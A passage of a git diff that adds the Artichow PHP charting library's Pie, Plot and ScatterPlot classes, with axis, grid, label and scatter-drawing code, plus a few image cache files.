$image->height), + TRUE + ); + + $driver = $mainDriver; + + } + + // Get labels values + $pc = array(); + foreach($this->values as $key => $value) { + $pc[$key] = round($value / $sum * 100, $this->precision); + } + if($this->label->count() === 0) { // Check that there is no user defined values + $this->label->set($pc); + } + + $position = 0; + + foreach($pc as $key => $value) { + + // Limit number of labels to display + if($position === $this->number) { + break; + } + + if(is_null($this->minimum) === FALSE and $value < $this->minimum) { + continue; + } + + $position++; + + list($from, $to, $explode) = $values[$key]; + + $angle = $from + ($to - $from) / 2; + $angleRad = (360 - $angle) * M_PI / 180; + + $point = new awPoint( + $x + $explode->x + cos($angleRad) * ($width / 2 + $this->position), + $y + $explode->y - sin($angleRad) * ($height / 2 + $this->position) + ); + + $angle %= 360; + + // We don't display labels on the 3D effect + if($angle > 0 and $angle < 180) { + $point = $point->move(0, -1 * sin($angleRad) * $this->size); + } + + if($angle >= 45 and $angle < 135) { + $this->label->setAlign(awLabel::CENTER, awLabel::BOTTOM); + } else if($angle >= 135 and $angle < 225) { + $this->label->setAlign(awLabel::RIGHT, awLabel::MIDDLE); + } else if($angle >= 225 and $angle < 315) { + $this->label->setAlign(awLabel::CENTER, awLabel::TOP); + } else { + $this->label->setAlign(awLabel::LEFT, awLabel::MIDDLE); + } + + $this->label->draw( + $driver, + $point, + $key + ); + + } + + } + + /** + * Return margins around the component + * + * @return array Left, right, top and bottom margins + */ + public function getMargin() { + + // Get axis informations + + $leftAxis = $this->padding->left; + $rightAxis = $this->padding->right; + $topAxis = $this->padding->top; + $bottomAxis = $this->padding->bottom; + + return array($leftAxis, $rightAxis, $topAxis, $bottomAxis); + + } + + + /** + * Change values of Y axis + * This method ignores not numeric values + * + * @param array $values + */ + public function setValues($values) { + + $this->checkArray($values); + $this->values = $values; + + } + + + /** + * Return values of Y axis + * + * @return array + */ + public function getValues() { + return $this->values; + } + + private function checkArray(&$array) { + + if(is_array($array) === FALSE) { + awImage::drawError("Class Pie: You tried to set values that are not an array."); + } + + foreach($array as $key => $value) { + if(is_numeric($value) === FALSE) { + unset($array[$key]); + } + } + + if(count($array) < 1) { + awImage::drawError("Class Pie: Your graph must have at least 1 value."); + } + + } + +} + +registerClass('Pie'); + +/** + * Pie + * + * @package Artichow + */ +class awPiePart implements awLegendable { + + /** + * Pie part color + * + * @var Color + */ + protected $color; + + /** + * Build a new awPiePart + * + * @param awColor $color Pie part color + */ + public function __construct(awColor $color) { + + $this->color = $color; + + } + + /** + * Get the background color or gradient of an element of the component + * + * @return Color, Gradient + */ + public function getLegendBackground() { + return $this->color; + } + + /** + * Get the line thickness + * + * @return NULL + */ + public function getLegendLineThickness() { + } + + /** + * Get the line type + * + * @return NULL + */ + public function getLegendLineStyle() { + } + + /** + * Get the color of line + * + * @return NULL + */ + public function getLegendLineColor() { + } + + /** + * Get a mark object + * + * @return NULL + */ + public function getLegendMark() { + } + +} + +registerClass('PiePart'); + +function callbackPerCent($value) { + return $value.'%'; +} diff --git a/modules/graphartichow/artichow/Plot.class.php b/modules/graphartichow/artichow/Plot.class.php new file mode 100755 index 0000000..614b68e --- /dev/null +++ b/modules/graphartichow/artichow/Plot.class.php @@ -0,0 +1,1463 @@ +grid = new awGrid; + $this->grid->setBackgroundColor(new awWhite); + + $this->padding->add(20, 0, 0, 20); + + $this->xAxis = new awAxis; + $this->xAxis->addTick('major', new awTick(0, 5)); + $this->xAxis->addTick('minor', new awTick(0, 3)); + $this->xAxis->setTickStyle(awTick::OUT); + $this->xAxis->label->setFont(new awTuffy(7)); + + $this->yAxis = new awAxis; + $this->yAxis->auto(TRUE); + $this->yAxis->addTick('major', new awTick(0, 5)); + $this->yAxis->addTick('minor', new awTick(0, 3)); + $this->yAxis->setTickStyle(awTick::OUT); + $this->yAxis->setNumberByTick('minor', 'major', 3); + $this->yAxis->label->setFont(new awTuffy(7)); + $this->yAxis->title->setAngle(90); + + } + + /** + * Get plot values + * + * @return array + */ + public function getValues() { + return $this->datay; + } + + /** + * Reduce number of values in the plot + * + * @param int $number Reduce number of values to $number + */ + public function reduce($number) { + + $count = count($this->datay); + $ratio = ceil($count / $number); + + if($ratio > 1) { + + $tmpy = $this->datay; + $datay = array(); + + $datax = array(); + $cbLabel = $this->xAxis->label->getCallbackFunction(); + + for($i = 0; $i < $count; $i += $ratio) { + + $slice = array_slice($tmpy, $i, $ratio); + $datay[] = array_sum($slice) / count($slice); + + // Reduce data on X axis if needed + if($cbLabel !== NULL) { + $datax[] = $cbLabel($i + round($ratio / 2)); + } + + } + + $this->setValues($datay); + + if($cbLabel !== NULL) { + $this->xAxis->setLabelText($datax); + } + + + } + + } + + /** + * Count values in the plot + * + * @return int + */ + public function getXAxisNumber() { + list($min, $max) = $this->xAxis->getRange(); + return ($max - $min + 1); + } + + /** + * Change X axis + * + * @param int $axis + */ + public function setXAxis($axis) { + $this->xAxisPosition = $axis; + } + + /** + * Get X axis + * + * @return int + */ + public function getXAxis() { + return $this->xAxisPosition; + } + + /** + * Set X axis on zero + * + * @param bool $zero + */ + public function setXAxisZero($zero) { + $this->xAxisZero = (bool)$zero; + } + + /** + * Set Y axis on zero + * + * @param bool $zero + */ + public function setYAxisZero($zero) { + $this->yAxisZero = (bool)$zero; + } + + /** + * Change Y axis + * + * @param int $axis + */ + public function setYAxis($axis) { + $this->yAxisPosition = $axis; + } + + /** + * Get Y axis + * + * @return int + */ + public function getYAxis() { + return $this->yAxisPosition; + } + + /** + * Change min value for Y axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setYMin($value) { + $this->yMin = $value; + $this->yAxis->auto(FALSE); + $this->updateAxis(); + } + + /** + * Change max value for Y axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setYMax($value) { + $this->yMax = $value; + $this->yAxis->auto(FALSE); + $this->updateAxis(); + } + + /** + * Change min value for X axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setXMin($value) { + $this->xMin = $value; + $this->updateAxis(); + } + + /** + * Change max value for X axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setXMax($value) { + $this->xMax = $value; + $this->updateAxis(); + } + + /** + * Get min value for Y axis + * + * @return float $value + */ + public function getYMin() { + if($this->auto) { + if(is_null($this->yMin)) { + $min = array_min($this->datay); + if($min > 0) { + return 0; + } + } + } + return is_null($this->yMin) ? array_min($this->datay) : (float)$this->yMin; + } + + /** + * Get max value for Y axis + * + * @return float $value + */ + public function getYMax() { + if($this->auto) { + if(is_null($this->yMax)) { + $max = array_max($this->datay); + if($max < 0) { + return 0; + } + } + } + return is_null($this->yMax) ? array_max($this->datay) : (float)$this->yMax; + } + + /** + * Get min value for X axis + * + * @return float $value + */ + public function getXMin() { + return floor(is_null($this->xMin) ? array_min($this->datax) : $this->xMin); + } + + /** + * Get max value for X axis + * + * @return float $value + */ + public function getXMax() { + return (ceil(is_null($this->xMax) ? array_max($this->datax) : (float)$this->xMax)) + ($this->getXCenter() ? 1 : 0); + } + + /** + * Get min value with spaces for Y axis + * + * @return float $value + */ + public function getRealYMin() { + $min = $this->getYMin(); + if($this->space->bottom !== NULL) { + $interval = ($this->getYMax() - $min) * $this->space->bottom / 100; + return $min - $interval; + } else { + return is_null($this->yMin) ? $min : (float)$this->yMin; + } + } + + /** + * Get max value with spaces for Y axis + * + * @return float $value + */ + public function getRealYMax() { + $max = $this->getYMax(); + if($this->space->top !== NULL) { + $interval = ($max - $this->getYMin()) * $this->space->top / 100; + return $max + $interval; + } else { + return is_null($this->yMax) ? $max : (float)$this->yMax; + } + } + + public function init(awDriver $driver) { + + list($x1, $y1, $x2, $y2) = $this->getPosition(); + + // Get space informations + list($leftSpace, $rightSpace, $topSpace, $bottomSpace) = $this->getSpace($x2 - $x1, $y2 - $y1); + + $this->xAxis->setPadding($leftSpace, $rightSpace); + + if($this->space->bottom > 0 or $this->space->top > 0) { + + list($min, $max) = $this->yAxis->getRange(); + $interval = $max - $min; + + $this->yAxis->setRange( + $min - $interval * $this->space->bottom / 100, + $max + $interval * $this->space->top / 100 + ); + + } + + // Auto-scaling mode + $this->yAxis->autoScale(); + + // Number of labels is not specified + if($this->yAxis->getLabelNumber() === NULL) { + $number = round(($y2 - $y1) / 75) + 2; + $this->yAxis->setLabelNumber($number); + } + + $this->xAxis->line->setX($x1, $x2); + $this->yAxis->line->setY($y2, $y1); + + // Set ticks + + $this->xAxis->tick('major')->setNumber($this->getXAxisNumber()); + $this->yAxis->tick('major')->setNumber($this->yAxis->getLabelNumber()); + + + // Center X axis on zero + if($this->xAxisZero) { + $this->xAxis->setYCenter($this->yAxis, 0); + } + + // Center Y axis on zero + if($this->yAxisZero) { + $this->yAxis->setXCenter($this->xAxis, 0); + } + + // Set axis labels + $labels = array(); + + list($xMin, $xMax) = $this->xAxis->getRange(); + for($i = $xMin; $i <= $xMax; $i++) { + $labels[] = $i; + } + $this->xAxis->label->set($labels); + + parent::init($driver); + + list($x1, $y1, $x2, $y2) = $this->getPosition(); + + list($leftSpace, $rightSpace) = $this->getSpace($x2 - $x1, $y2 - $y1); + + // Create the grid + $this->createGrid(); + + // Draw the grid + $this->grid->setSpace($leftSpace, $rightSpace, 0, 0); + $this->grid->draw($driver, $x1, $y1, $x2, $y2); + + } + + public function drawEnvelope(awDriver $driver) { + + list($x1, $y1, $x2, $y2) = $this->getPosition(); + + if($this->getXCenter()) { + $size = $this->xAxis->getDistance(0, 1); + $this->xAxis->label->move($size / 2, 0); + $this->xAxis->label->hideLast(TRUE); + } + + // Draw top axis + if($this->xAxisPosition === awPlot::TOP or $this->xAxisPosition === awPlot::BOTH) { + $top = clone $this->xAxis; + if($this->xAxisZero === FALSE) { + $top->line->setY($y1, $y1); + } + $top->label->setAlign(NULL, awLabel::TOP); + $top->label->move(0, -3); + $top->title->move(0, -25); + $top->draw($driver); + } + + // Draw bottom axis + if($this->xAxisPosition === awPlot::BOTTOM or $this->xAxisPosition === awPlot::BOTH) { + $bottom = clone $this->xAxis; + if($this->xAxisZero === FALSE) { + $bottom->line->setY($y2, $y2); + } + $bottom->label->setAlign(NULL, awLabel::BOTTOM); + $bottom->label->move(0, 3); + $bottom->reverseTickStyle(); + $bottom->title->move(0, 25); + $bottom->draw($driver); + } + + // Draw left axis + if($this->yAxisPosition === awPlot::LEFT or $this->yAxisPosition === awPlot::BOTH) { + $left = clone $this->yAxis; + if($this->yAxisZero === FALSE) { + $left->line->setX($x1, $x1); + } + $left->label->setAlign(awLabel::RIGHT); + $left->label->move(-6, 0); + $left->title->move(-25, 0); + $left->draw($driver); + } + + // Draw right axis + if($this->yAxisPosition === awPlot::RIGHT or $this->yAxisPosition === awPlot::BOTH) { + $right = clone $this->yAxis; + if($this->yAxisZero === FALSE) { + $right->line->setX($x2, $x2); + } + $right->label->setAlign(awLabel::LEFT); + $right->label->move(6, 0); + $right->reverseTickStyle(); + $right->title->move(25, 0); + $right->draw($driver); + } + + } + + protected function createGrid() { + + $max = $this->getRealYMax(); + $min = $this->getRealYMin(); + + $number = $this->yAxis->getLabelNumber() - 1; + + if($number < 1) { + return; + } + + // Horizontal lines of the grid + + $h = array(); + for($i = 0; $i <= $number; $i++) { + $h[] = $i / $number; + } + + // Vertical lines + + $major = $this->yAxis->tick('major'); + $interval = $major->getInterval(); + $number = $this->getXAxisNumber() - 1; + + $w = array(); + + if($number > 0) { + + for($i = 0; $i <= $number; $i++) { + if($i%$interval === 0) { + $w[] = $i / $number; + } + } + + } + + $this->grid->setGrid($w, $h); + + } + + /** + * Change values of Y axis + * This method ignores not numeric values + * + * @param array $datay + * @param array $datax + */ + public function setValues($datay, $datax = NULL) { + + $this->checkArray($datay); + + foreach($datay as $key => $value) { + unset($datay[$key]); + $datay[(int)$key] = $value; + } + + if($datax === NULL) { + $datax = array(); + for($i = 0; $i < count($datay); $i++) { + $datax[] = $i; + } + } else { + foreach($datax as $key => $value) { + unset($datax[$key]); + $datax[(int)$key] = $value; + } + } + + $this->checkArray($datax); + + if(count($datay) === count($datax)) { + + // Set values + $this->datay = $datay; + $this->datax = $datax; + // Update axis with the new awvalues + $this->updateAxis(); + } else { + awImage::drawError("Class Plot: Plots must have the same number of X and Y points."); + } + + } + + /** + * Return begin and end values + * + * @return array + */ + protected function getLimit() { + + $i = 0; + while(array_key_exists($i, $this->datay) and $this->datay[$i] === NULL) { + $i++; + } + $start = $i; + $i = count($this->datay) - 1; + while(array_key_exists($i, $this->datay) and $this->datay[$i] === NULL) { + $i--; + } + $stop = $i; + + return array($start, $stop); + + } + + /** + * Return TRUE if labels must be centered on X axis, FALSE otherwise + * + * @return bool + */ + abstract public function getXCenter(); + + private function updateAxis() { + + $this->xAxis->setRange( + $this->getXMin(), + $this->getXMax() + ); + $this->yAxis->setRange( + $this->getRealYMin(), + $this->getRealYMax() + ); + + } + + private function checkArray(&$array) { + + if(is_array($array) === FALSE) { + awImage::drawError("Class Plot: You tried to set a value that is not an array."); + } + + foreach($array as $key => $value) { + if(is_numeric($value) === FALSE and is_null($value) === FALSE) { + awImage::drawError("Class Plot: Expected numeric values for the plot."); + } + } + + if(count($array) < 1) { + awImage::drawError("Class Plot: Your plot must have at least 1 value."); + } + + } + +} + +registerClass('Plot', TRUE); + +class awPlotAxis { + + /** + * Left axis + * + * @var Axis + */ + public $left; + + /** + * Right axis + * + * @var Axis + */ + public $right; + + /** + * Top axis + * + * @var Axis + */ + public $top; + + /** + * Bottom axis + * + * @var Axis + */ + public $bottom; + + /** + * Build the group of axis + */ + public function __construct() { + + $this->left = new awAxis; + $this->left->auto(TRUE); + $this->left->label->setAlign(awLabel::RIGHT); + $this->left->label->move(-6, 0); + $this->yAxis($this->left); + $this->left->setTickStyle(awTick::OUT); + $this->left->title->move(-25, 0); + + $this->right = new awAxis; + $this->right->auto(TRUE); + $this->right->label->setAlign(awLabel::LEFT); + $this->right->label->move(6, 0); + $this->yAxis($this->right); + $this->right->setTickStyle(awTick::IN); + $this->right->title->move(25, 0); + + $this->top = new awAxis; + $this->top->label->setAlign(NULL, awLabel::TOP); + $this->top->label->move(0, -3); + $this->xAxis($this->top); + $this->top->setTickStyle(awTick::OUT); + $this->top->title->move(0, -25); + + $this->bottom = new awAxis; + $this->bottom->label->setAlign(NULL, awLabel::BOTTOM); + $this->bottom->label->move(0, 3); + $this->xAxis($this->bottom); + $this->bottom->setTickStyle(awTick::IN); + $this->bottom->title->move(0, 25); + + } + + protected function xAxis(awAxis $axis) { + + $axis->addTick('major', new awTick(0, 5)); + $axis->addTick('minor', new awTick(0, 3)); + $axis->label->setFont(new awTuffy(7)); + + } + + protected function yAxis(awAxis $axis) { + + $axis->addTick('major', new awTick(0, 5)); + $axis->addTick('minor', new awTick(0, 3)); + $axis->setNumberByTick('minor', 'major', 3); + $axis->label->setFont(new awTuffy(7)); + $axis->title->setAngle(90); + + } + +} + +registerClass('PlotAxis'); + +/** + * A graph with axis can contain some groups of components + * + * @package Artichow + */ +class awPlotGroup extends awComponentGroup { + + /** + * Grid properties + * + * @var Grid + */ + public $grid; + + /** + * Left, right, top and bottom axis + * + * @var PlotAxis + */ + public $axis; + + /** + * Set the X axis on zero + * + * @var bool + */ + protected $xAxisZero = TRUE; + + /** + * Set the Y axis on zero + * + * @var bool + */ + protected $yAxisZero = FALSE; + + /** + * Real axis used for Y axis + * + * @var string + */ + private $yRealAxis = awPlot::LEFT; + + /** + * Real axis used for X axis + * + * @var string + */ + private $xRealAxis = awPlot::BOTTOM; + + /** + * Change min value for Y axis + * + * @var mixed + */ + private $yMin = NULL; + + /** + * Change max value for Y axis + * + * @var mixed + */ + private $yMax = NULL; + + /** + * Change min value for X axis + * + * @var mixed + */ + private $xMin = NULL; + + /** + * Change max value for X axis + * + * @var mixed + */ + private $xMax = NULL; + + /** + * Build the PlotGroup + * + */ + public function __construct() { + + parent::__construct(); + + $this->grid = new awGrid; + $this->grid->setBackgroundColor(new awWhite); + + $this->axis = new awPlotAxis; + + } + + /** + * Set the X axis on zero or not + * + * @param bool $zero + */ + public function setXAxisZero($zero) { + $this->xAxisZero = (bool)$zero; + } + + /** + * Set the Y axis on zero or not + * + * @param bool $zero + */ + public function setYAxisZero($zero) { + $this->yAxisZero = (bool)$zero; + } + + /** + * Change min value for Y axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setYMin($value) { + $this->axis->left->auto(FALSE); + $this->axis->right->auto(FALSE); + $this->yMin = $value; + } + + /** + * Change max value for Y axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setYMax($value) { + $this->axis->left->auto(FALSE); + $this->axis->right->auto(FALSE); + $this->yMax = $value; + } + + /** + * Change min value for X axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setXMin($value) { + $this->xMin = $value; + } + + /** + * Change max value for X axis + * Set NULL for auto selection. + * + * @param float $value + */ + public function setXMax($value) { + $this->xMax = $value; + } + + /** + * Get min value for X axis + * + * @return float $value + */ + public function getXMin() { + + return $this->getX('min'); + + } + + /** + * Get max value for X axis + * + * @return float $value + */ + public function getXMax() { + + return $this->getX('max'); + + } + + private function getX($type) { + + switch($type) { + case 'max' : + if($this->xMax !== NULL) { + return $this->xMax; + } + break; + case 'min' : + if($this->xMin !== NULL) { + return $this->xMin; + } + break; + } + + $value = NULL; + $get = 'getX'.ucfirst($type); + + for($i = 0; $i < count($this->components); $i++) { + + $component = $this->components[$i]; + + if($value === NULL) { + $value = $component->$get(); + } else { + $value = $type($value, $component->$get()); + } + + } + + return $value; + + } + + /** + * Get min value with spaces for Y axis + * + * @param string $axis Axis name + * @return float $value + */ + public function getRealYMin($axis = NULL) { + + if($axis === NULL) { + return NULL; + } + + $min = $this->getRealY('min', $axis); + $max = $this->getRealY('max', $axis); + + if($this->space->bottom !== NULL) { + $interval = ($min - $max) * $this->space->bottom / 100; + return $min + $interval; + } else { + return $min; + } + + } + + /** + * Get max value with spaces for Y axis + * + * @param string $axis Axis name + * @return float $value + */ + public function getRealYMax($axis = NULL) { + + if($axis === NULL) { + return NULL; + } + + $min = $this->getRealY('min', $axis); + $max = $this->getRealY('max', $axis); + + if($this->space->top !== NULL) { + $interval = ($max - $min) * $this->space->top / 100; + return $max + $interval; + } else { + return $max; + } + + } + + private function getRealY($type, $axis) { + + switch($type) { + case 'max' : + if($this->yMax !== NULL) { + return $this->yMax; + } + break; + case 'min' : + if($this->yMin !== NULL) { + return $this->yMin; + } + break; + } + + $value = NULL; + $get = 'getY'.ucfirst($type); + + for($i = 0; $i < count($this->components); $i++) { + + $component = $this->components[$i]; + + switch($axis) { + + case awPlot::LEFT : + case awPlot::RIGHT : + $test = ($component->getYAxis() === $axis); + break; + default : + $test = FALSE; + + } + + if($test) { + + $auto = $component->yAxis->isAuto(); + $this->axis->{$axis}->auto($auto); + + if($value === NULL) { + $value = $component->$get(); + } else { + $value = $type($value, $component->$get()); + } + + } + + } + + return $value; + + } + + public function init(awDriver $driver) { + + list($x1, $y1, $x2, $y2) = $this->getPosition(); + + // Get PlotGroup space + list($leftSpace, $rightSpace, $topSpace, $bottomSpace) = $this->getSpace($x2 - $x1, $y2 - $y1); + + // Count values in the group + $values = $this->getXAxisNumber(); + + // Init the PlotGroup + $this->axis->top->line->setX($x1, $x2); + $this->axis->bottom->line->setX($x1, $x2); + $this->axis->left->line->setY($y2, $y1); + $this->axis->right->line->setY($y2, $y1); + + $this->axis->top->setPadding($leftSpace, $rightSpace); + $this->axis->bottom->setPadding($leftSpace, $rightSpace); + + $xMin = $this->getXMin(); + $xMax = $this->getXMax(); + + $this->axis->top->setRange($xMin, $xMax); + $this->axis->bottom->setRange($xMin, $xMax); + + for($i = 0; $i < count($this->components); $i++) { + + + $component = $this->components[$i]; + + $component->auto($this->auto); + + // Copy space to the component + + $component->setSpace($this->space->left, $this->space->right, $this->space->top, $this->space->bottom); + + $component->xAxis->setPadding($leftSpace, $rightSpace); + $component->xAxis->line->setX($x1, $x2); + + $component->yAxis->line->setY($y2, $y1); + + } + + // Set Y axis range + foreach(array('left', 'right') as $axis) { + + if($this->isAxisUsed($axis)) { + + $min = $this->getRealYMin($axis); + $max = $this->getRealYMax($axis); + + $interval = $max - $min; + + $this->axis->{$axis}->setRange( + $min - $interval * $this->space->bottom / 100, + $max + $interval * $this->space->top / 100 + ); + + // Auto-scaling mode + if($this->axis->{$axis}->isAuto()) { + $this->axis->{$axis}->autoScale(); + } + + } + + } + + if($this->axis->left->getLabelNumber() === NULL) { + $number = round(($y2 - $y1) / 75) + 2; + $this->axis->left->setLabelNumber($number); + } + + if($this->axis->right->getLabelNumber() === NULL) { + $number = round(($y2 - $y1) / 75) + 2; + $this->axis->right->setLabelNumber($number); + } + + // Center labels on X axis if needed + $test = array(awPlot::TOP => FALSE, awPlot::BOTTOM => FALSE); + + for($i = 0; $i < count($this->components); $i++) { + + + $component = $this->components[$i]; + + + if($component->getValues() !== NULL) { + + $axis = $component->getXAxis(); + + if($test[$axis] === FALSE) { + + // Center labels for bar plots + if($component->getXCenter()) { + $size = $this->axis->{$axis}->getDistance(0, 1); + $this->axis->{$axis}->label->move($size / 2, 0); + $this->axis->{$axis}->label->hideLast(TRUE); + $test[$axis] = TRUE; + } + + } + + } + + + } + + // Set axis labels + $labels = array(); + for($i = $xMin; $i <= $xMax; $i++) { + $labels[] = $i; + } + if($this->axis->top->label->count() === 0) { + $this->axis->top->label->set($labels); + } + if($this->axis->bottom->label->count() === 0) { + $this->axis->bottom->label->set($labels); + } + + // Set ticks + + $this->axis->top->tick('major')->setNumber($values); + $this->axis->bottom->tick('major')->setNumber($values); + $this->axis->left->tick('major')->setNumber($this->axis->left->getLabelNumber()); + $this->axis->right->tick('major')->setNumber($this->axis->right->getLabelNumber()); + + + // Set X axis on zero + if($this->xAxisZero) { + $axis = $this->selectYAxis(); + $this->axis->bottom->setYCenter($axis, 0); + $this->axis->top->setYCenter($axis, 0); + } + + // Set Y axis on zero + if($this->yAxisZero) { + $axis = $this->selectXAxis(); + $this->axis->left->setXCenter($axis, 1); + $this->axis->right->setXCenter($axis, 1); + } + + parent::init($driver); + + list($leftSpace, $rightSpace, $topSpace, $bottomSpace) = $this->getSpace($x2 - $x1, $y2 - $y1); + + // Create the grid + $this->createGrid(); + + // Draw the grid + $this->grid->setSpace($leftSpace, $rightSpace, 0, 0); + $this->grid->draw($driver, $x1, $y1, $x2, $y2); + + } + + public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing) { + + $xMin = $this->getXMin(); + $xMax = $this->getXMax(); + + $maxLeft = $this->getRealYMax(awPlot::LEFT); + $maxRight = $this->getRealYMax(awPlot::RIGHT); + + $minLeft = $this->getRealYMin(awPlot::LEFT); + $minRight = $this->getRealYMin(awPlot::RIGHT); + + foreach($this->components as $component) { + + $min = $component->getYMin(); + $max = $component->getYMax(); + + // Set component minimum and maximum + if($component->getYAxis() === awPlot::LEFT) { + + list($min, $max) = $this->axis->left->getRange(); + + $component->setYMin($min); + $component->setYMax($max); + + } else { + + list($min, $max) = $this->axis->right->getRange(); + + $component->setYMin($min); + $component->setYMax($max); + + } + + $component->setXAxisZero($this->xAxisZero); + $component->setYAxisZero($this->yAxisZero); + + $component->xAxis->setRange($xMin, $xMax); + + $component->drawComponent( + $driver, + $x1, $y1, + $x2, $y2, + $aliasing + ); + + $component->setYMin($min); + $component->setYMax($max); + + } + + } + + public function drawEnvelope(awDriver $driver) { + + list($x1, $y1, $x2, $y2) = $this->getPosition(); + + // Hide unused axis + foreach(array(awPlot::LEFT, awPlot::RIGHT, awPlot::TOP, awPlot::BOTTOM) as $axis) { + if($this->isAxisUsed($axis) === FALSE) { + $this->axis->{$axis}->hide(TRUE); + } + } + + // Draw top axis + $top = $this->axis->top; + if($this->xAxisZero === FALSE) { + $top->line->setY($y1, $y1); + } + $top->draw($driver); + + // Draw bottom axis + $bottom = $this->axis->bottom; + if($this->xAxisZero === FALSE) { + $bottom->line->setY($y2, $y2); + } + $bottom->draw($driver); + + // Draw left axis + $left = $this->axis->left; + if($this->yAxisZero === FALSE) { + $left->line->setX($x1, $x1); + } + $left->draw($driver); + + // Draw right axis + $right = $this->axis->right; + if($this->yAxisZero === FALSE) { + $right->line->setX($x2, $x2); + } + $right->draw($driver); + + } + + /** + * Is the specified axis used ? + * + * @param string $axis Axis name + * @return bool + */ + protected function isAxisUsed($axis) { + + for($i = 0; $i < count($this->components); $i++) { + + $component = $this->components[$i]; + + switch($axis) { + + case awPlot::LEFT : + case awPlot::RIGHT : + if($component->getYAxis() === $axis) { + return TRUE; + } + break; + + case awPlot::TOP : + case awPlot::BOTTOM : + if($component->getXAxis() === $axis) { + return TRUE; + } + break; + + } + + } + + return FALSE; + + } + + protected function createGrid() { + + $max = $this->getRealYMax(awPlot::LEFT); + $min = $this->getRealYMin(awPlot::RIGHT); + + // Select axis (left if possible, right otherwise) + $axis = $this->selectYAxis(); + + $number = $axis->getLabelNumber() - 1; + + if($number < 1) { + return; + } + + // Horizontal lines of grid + + $h = array(); + for($i = 0; $i <= $number; $i++) { + $h[] = $i / $number; + } + + // Vertical lines + + $major = $axis->tick('major'); + $interval = $major->getInterval(); + $number = $this->getXAxisNumber() - 1; + + $w = array(); + + if($number > 0) { + + for($i = 0; $i <= $number; $i++) { + if($i%$interval === 0) { + $w[] = $i / $number; + } + } + + } + + $this->grid->setGrid($w, $h); + + } + + protected function selectYAxis(){ + + // Select axis (left if possible, right otherwise) + if($this->isAxisUsed(awPlot::LEFT)) { + $axis = $this->axis->left; + } else { + $axis = $this->axis->right; + } + + return $axis; + + } + + protected function selectXAxis(){ + + // Select axis (bottom if possible, top otherwise) + if($this->isAxisUsed(awPlot::BOTTOM)) { + $axis = $this->axis->bottom; + } else { + $axis = $this->axis->top; + } + + return $axis; + + } + + protected function getXAxisNumber() { + $offset = $this->components[0]; + $max = $offset->getXAxisNumber(); + for($i = 1; $i < count($this->components); $i++) { + $offset = $this->components[$i]; + $max = max($max, $offset->getXAxisNumber()); + } + return $max; + } + +} + +registerClass('PlotGroup'); diff --git a/modules/graphartichow/artichow/ScatterPlot.class.php b/modules/graphartichow/artichow/ScatterPlot.class.php new file mode 100755 index 0000000..7e01c14 --- /dev/null +++ b/modules/graphartichow/artichow/ScatterPlot.class.php @@ -0,0 +1,300 @@ +mark = new awMark; + $this->mark->setType(awMark::CIRCLE); + $this->mark->setSize(7); + $this->mark->border->show(); + + $this->label = new awLabel; + + $this->setValues($datay, $datax); + $this->setColor(new awBlack); + + } + + /** + * Display plot as impulses + * + * @param awColor $impulse Impulses color (or NULL to disable impulses) + */ + public function setImpulse($color) { + $this->impulse = $color; + } + + /** + * Link scatter plot points + * + * @param bool $link + * @param awColor $color Line color (default to black) + */ + public function link($link, $color = NULL) { + $this->link = (bool)$link; + if($color instanceof awColor) { + $this->setColor($color); + } + } + + /** + * Ignore null values for Y data and continue linking + * + * @param bool $link + */ + public function linkNull($link) { + $this->linkNull = (bool)$link; + } + + /** + * Change line color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->lineColor = $color; + } + + /** + * Change line style + * + * @param int $style + */ + public function setStyle($style) { + $this->lineStyle = (int)$style; + } + + /** + * Change line tickness + * + * @param int $tickness + */ + public function setThickness($tickness) { + $this->lineThickness = (int)$tickness; + } + + /** + * Get the line thickness + * + * @return int + */ + public function getLegendLineThickness() { + return $this->lineThickness; + } + + /** + * Get the line type + * + * @return int + */ + public function getLegendLineStyle() { + return $this->lineStyle; + } + + /** + * Get the color of line + * + * @return Color + */ + public function getLegendLineColor() { + return $this->lineColor; + } + + /** + * Get the background color or gradient of an element of the component + * + * @return Color, Gradient + */ + public function getLegendBackground() { + return NULL; + } + + /** + * Get a mark object + * + * @return Mark + */ + public function getLegendMark() { + return $this->mark; + } + + public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing) { + + $count = count($this->datay); + + // Get start and stop values + list($start, $stop) = $this->getLimit(); + + // Build the polygon + $polygon = new awPolygon; + + for($key = 0; $key < $count; $key++) { + + $x = $this->datax[$key]; + $y = $this->datay[$key]; + + if($y !== NULL) { + $p = awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($x, $y)); + $polygon->set($key, $p); + } else if($this->linkNull === FALSE) { + $polygon->set($key, NULL); + } + + } + + // Link points if needed + if($this->link) { + + $prev = NULL; + + foreach($polygon->all() as $point) { + + if($prev !== NULL and $point !== NULL) { + $driver->line( + $this->lineColor, + new awLine( + $prev, + $point, + $this->lineStyle, + $this->lineThickness + ) + ); + } + $prev = $point; + + } + } + + // Draw impulses + if($this->impulse instanceof awColor) { + + foreach($polygon->all() as $key => $point) { + + if($point !== NULL) { + + $zero = awAxis::toPosition( + $this->xAxis, + $this->yAxis, + new awPoint($key, 0) + ); + + $driver->line( + $this->impulse, + new awLine( + $zero, + $point, + awLine::SOLID, + 1 + ) + ); + + } + + } + + } + + // Draw marks and labels + foreach($polygon->all() as $key => $point) { + + $this->mark->draw($driver, $point); + $this->label->draw($driver, $point, $key); + + } + + } + + protected function xAxisPoint($position) { + $y = $this->xAxisZero ? 0 : $this->getRealYMin(); + return awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($position, $y)); + } + + public function getXCenter() { + return FALSE; + } + +} + +registerClass('ScatterPlot'); + diff --git a/modules/graphartichow/artichow/cache/Abel b/modules/graphartichow/artichow/cache/Abel new file mode 100755 index 0000000..82538a6 Binary files /dev/null and b/modules/graphartichow/artichow/cache/Abel differ diff --git a/modules/graphartichow/artichow/cache/Abel-time b/modules/graphartichow/artichow/cache/Abel-time new file mode 100755 index 0000000..a730f38 --- /dev/null +++ b/modules/graphartichow/artichow/cache/Abel-time @@ -0,0 +1,2 @@ +1166203484 +png \ No newline at end of file diff --git a/modules/graphartichow/artichow/cache/Albert b/modules/graphartichow/artichow/cache/Albert new file mode 100755 index 